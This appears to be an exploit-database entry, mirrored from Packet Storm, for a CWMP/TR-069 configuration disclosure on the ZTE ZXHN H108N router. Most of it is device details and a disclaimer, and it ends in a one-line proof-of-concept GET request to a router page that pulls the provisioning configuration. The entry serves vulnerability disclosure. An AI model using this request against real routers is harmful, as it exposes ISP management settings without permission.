Lucene search
K

ZTE ZXHN H108N 3.3.0_MU CWMP Configuration Disclosure

🗓️ 06 Oct 2015 00:00:00Reported by Todor DonevType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

ZTE ZXHN H108N 3.3.0_MU CWMP Configuration Disclosure. CWMP is protocol used by ISPs for remote provisioning & troubleshooting. Admin account required

Code
`# ZTE ZXHN H108N 3.3.0_MU CWMP configuration disclosure  
#   
# Copyright 2015 (c) Todor Donev   
# [email protected]  
# http://www.ethical-hacker.org/  
# https://www.facebook.com/ethicalhackerorg  
# http://pastebin.com/u/hackerscommunity   
#  
# Model ZXHN H108N  
# Serial Number ZTEERFCD6K03762  
# Batch Number T1  
# Software Version V3.3.0_MU  
# Boot Loader Version V1.0.0  
#   
# CWMP Description:  
# CWMP configuration is accessible only through the   
# Administrator account. CWMP is a protocol widely   
# used by ISPs worldwide for remote provisioning   
# and troubleshooting subscribers' equipment.  
# It includes both a safe auto configuration and the   
# control of other CPE management functions within   
# an integrated framework. The protocol addresses   
# the growing number of different Internet access   
# devices such as modems, routers, gateways, as well   
# as end-user devices which connect to the Internet,   
# such as set-top boxes, and VoIP-phones. The TR-069   
# standard was developed for automatic configuration   
# and management of these devices by   
# Auto Configuration Servers (ACS).  
#  
# Disclaimer:  
# This or previous program is for Educational  
# purpose ONLY. Do not use it without permission.  
# The usual disclaimer applies, especially the  
# fact that Todor Donev is not liable for any  
# damages caused by direct or indirect use of the  
# information or functionality provided by these  
# programs. The author or any Internet provider  
# bears NO responsibility for content or misuse  
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact  
# that any damage (dataloss, system crash,  
# system compromise, etc.) caused by the use  
# of these programs is not Todor Donev's  
# responsibility.  
#  
# Use at your own risk and educational   
# purpose ONLY!  
  
[todor@adamantium ~]$ GET "http://TARGET/net_tr069_basic_t.gch" | grep Transfer_meaning  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation